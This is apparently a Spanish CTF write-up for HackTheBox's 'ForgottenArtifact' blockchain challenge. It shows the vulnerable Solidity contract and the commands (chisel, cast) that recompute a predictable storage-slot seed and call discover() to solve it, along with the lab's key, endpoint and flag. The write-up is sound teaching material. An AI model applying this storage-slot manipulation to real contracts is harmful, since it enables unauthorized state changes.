ForgottenArtifact
4 minutos de lectura
Se nos proporciona un Smart Contract llamado ForgottenArtifact.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
contract ForgottenArtifact {
uint256 public lastSighting;
struct Artifact {
uint32 origin;
address discoverer;
}
constructor(uint32 _origin, address _discoverer) {
Artifact storage starrySpurr;
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
assembly { starrySpurr.slot := seed }
starrySpurr.origin = _origin;
starrySpurr.discoverer = _discoverer;
lastSighting = _origin;
}
function discover(bytes32 _artifactLocation) public {
Artifact storage starrySpurr;
assembly { starrySpurr.slot := _artifactLocation }
require(starrySpurr.origin != 0, "ForgottenArtifact: unknown artifact location.");
starrySpurr.discoverer = msg.sender;
lastSighting = block.timestamp;
}
}
Y otro Smart Contract llamado Setup.sol
:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import { ForgottenArtifact } from "./ForgottenArtifact.sol";
contract Setup {
uint256 public constant ARTIFACT_ORIGIN = 0xdead;
ForgottenArtifact public immutable TARGET;
event DeployedTarget(address at);
constructor() payable {
TARGET = new ForgottenArtifact(uint32(ARTIFACT_ORIGIN), address(0));
emit DeployedTarget(address(TARGET));
}
function isSolved() public view returns (bool) {
return TARGET.lastSighting() > ARTIFACT_ORIGIN;
}
}
También hay una instancia remota en la que obtendremos los parámetros de conexión a la Blockchain:
$ nc 83.136.249.47 58595
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 1
[*] No running node found. Launching new node...
Player Private Key : 90838fc8ee61acc72303201399e3052bce29a759e1e3c9cb86ca957d2da835ec
Player Address : 0xBB37F88648316f56AE6a9B7B7420A840cE2EA308
Target contract : 0xee8E723db77F93b254b6E95DB691A8b4ca6A569F
Setup contract : 0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860
Configuración del entorno
En primer lugar, guardemos los parámetros de conexión como variables de shell:
$ PRIVATE_KEY='0x90838fc8ee61acc72303201399e3052bce29a759e1e3c9cb86ca957d2da835ec'
$ ADDRESS='0xBB37F88648316f56AE6a9B7B7420A840cE2EA308'
$ ADDRESS_TARGET='0xee8E723db77F93b254b6E95DB691A8b4ca6A569F'
$ ADDRESS_SETUP='0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860'
$ export ETH_RPC_URL='http://83.136.249.47:40128'
Análisis del código fuente
Empecemos por la función isSolved
para ver lo que debemos hacer para resolver el reto:
function isSolved() public view returns (bool) {
return TARGET.lastSighting() > ARTIFACT_ORIGIN;
}
Entonces, necesitamos que lastSighting
del Smart Contract objetivo devuelva un valor superior a 0xdead
(esto probablemente será reemplazado por el timestamp actual).
Echemos un vistazo a los atributos y al constructor
:
uint256 public lastSighting;
struct Artifact {
uint32 origin;
address discoverer;
}
constructor(uint32 _origin, address _discoverer) {
Artifact storage starrySpurr;
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
assembly { starrySpurr.slot := seed }
starrySpurr.origin = _origin;
starrySpurr.discoverer = _discoverer;
lastSighting = _origin;
}
Como se puede ver, lastSighting
es un atributo de tipo uint256
, cuyo valor por defecto es 0
.
Lo relevante en el constructor
es que la dirección base del storage de Smart Contract cambia al valor de seed
. Por defecto, los atributos de Smart Contract se almacenan en el storage, uno para cada slot y a partir del slot 0
. Sin embargo, esta vez el storage se rebasa, por lo tanto lastSighting
no está en el slot 0
si no en seed
. Más información sobre cómo se almacenan los atributos en solidity-by-example.org).
Obsérvese que el constructor
establece origin
y discoverer
a ciertos valores distintos de cero, y lastSighting
a _origin
(probablemente, el timestamp actual).
Ahora, esta función discover
tiene sentido:
function discover(bytes32 _artifactLocation) public {
Artifact storage starrySpurr;
assembly { starrySpurr.slot := _artifactLocation }
require(starrySpurr.origin != 0, "ForgottenArtifact: unknown artifact location.");
starrySpurr.discoverer = msg.sender;
lastSighting = block.timestamp;
}
Necesitamos proporcionar un valor bytes32
para que coincida con el slot de almacenamiento esperado. Si sucede, entonces origin
será distinto de cero y pasaremos la instrucción require
. Con esto, lastSighting
se actualiza y resolveremos el reto.
Solución
Entonces, necesitamos encontrar este valor de seed
:
bytes32 seed = keccak256(abi.encodePacked(block.number, block.timestamp, msg.sender));
Esto es simplemente el hash keccak256
de block.number
, block.timestamp
y msg.sender
. ¡Estos tres valores son conocidos!
block.number
es sencillamente1
, porque el Smart Contract se despliega en el primer bloque- Podemos encontrar
block.timestamp
a partir de la información del bloque msg.sender
es la dirección del Smart ContractSetup
, porque es el que creó el Smart ContractForgotten Artifact
Encontremos esos valores y hallemos el valor esperado de seed
:
$ cast block-number
1
$ cast block
baseFeePerGas 0
difficulty 0
extraData 0x
gasLimit 30000000
gasUsed 324589
hash 0x47a62649500be22f0770d49702a46caa69d7eeb7fdce4b753af2a70a3ef92c2e
logsBloom 0x00000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000
0000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000001000000000000000000000000000
00000000000000000000000000400000000000000000000000000000000000000000000000000000000000000000000000000000000
miner 0x0000000000000000000000000000000000000000
mixHash 0x0000000000000000000000000000000000000000000000000000000000000000
nonce 0x0000000000000000
number 1
parentHash 0xabb428f4bfc2c9897e5abd2a6fd02a6fdc97e45f056c1f33eb302065ed4585d4
parentBeaconRoot 0x0000000000000000000000000000000000000000000000000000000000000000
transactionsRoot 0x8267ab80e506777d979f9034192456cd0b872d8433c00e0ab399dad29a879f04
receiptsRoot 0xbb5005adbd40c7d83e4c7d02bc597c99365d208d3d561bc6dcc1b0521ced9141
sha3Uncles 0x1dcc4de8dec75d7aab85b567b6ccd41ad312451b948a7413f0a142fd40d49347
size 1905
stateRoot 0xfcc497d9b6b0f1a4d0fddde85cc3f388f84c0669d6eb8055d1f182a57be4db1a
timestamp 1734400164 (Tue, 17 Dec 2024 01:49:24 +0000)
withdrawalsRoot 0x56e81f171bcc55a6ff8345e692c0f86e5b48e01b996cadc001622fb5e363b421
totalDifficulty 0
blobGasUsed 0
excessBlobGas 0
requestsHash
transactions: [
0x89d886be9f1ab8b80565d4c34af1b1b5352a6cba59663e39b59696653d6d966c
]
En este punto, podemos usar chisel
para calcular el valor de seed
:
$ chisel
Welcome to Chisel! Type `!help` to show available commands.
➜ bytes32 seed = keccak256(abi.encodePacked(uint(1), uint(1734400164), address(0x12521b9ed461bEcc915ba14Fe2fcbD2FD30F0860)));
➜ seed
Type: bytes32
└ Data: 0xf9bcfca7394a85f3a9969135c871010a921b1bb491aca18a128d38b3ffc5ccf7
Ahora, realicemos la transacción a discover
, de manera que cambiemos el valor de lastSighting
:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
false
$ cast call $ADDRESS_TARGET 'lastSighting() (uint)'
1734400164 [1.734e9]
$ cast send $ADDRESS_TARGET 'discover(bytes32)' 0xf9bcfca7394a85f3a9969135c871010a921b1bb491aca18a128d38b3ffc5ccf7 --private-key $PRIVATE_KEY
blockHash 0x1d993d6ab6708444af172eea80aa421cb70da596d824f0bd3241e2fd9252576e
blockNumber 2
contractAddress
cumulativeGasUsed 31954
effectiveGasPrice 1000000000
from 0xBB37F88648316f56AE6a9B7B7420A840cE2EA308
gasUsed 31954
logs []
logsBloom 0x00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
root
status 1 (success)
transactionHash 0xe39757fef5043e530f6188ba2d26dd26b98f5f94eee99a32a067aa62bdf97a96
transactionIndex 0
type 2
blobGasPrice 1
blobGasUsed
authorizationList
to 0xee8E723db77F93b254b6E95DB691A8b4ca6A569F
$ cast call $ADDRESS_TARGET 'lastSighting() (uint)'
1734401823 [1.734e9]
Flag
Con esto, habremos resuelto el reto:
$ cast call $ADDRESS_SETUP 'isSolved() (bool)'
true
$ nc 83.136.249.47 58595
1 - Get connection informations
2 - Restart Instance
3 - Get flag
Select action (enter number): 3
HTB{y0u_c4n7_533_m3}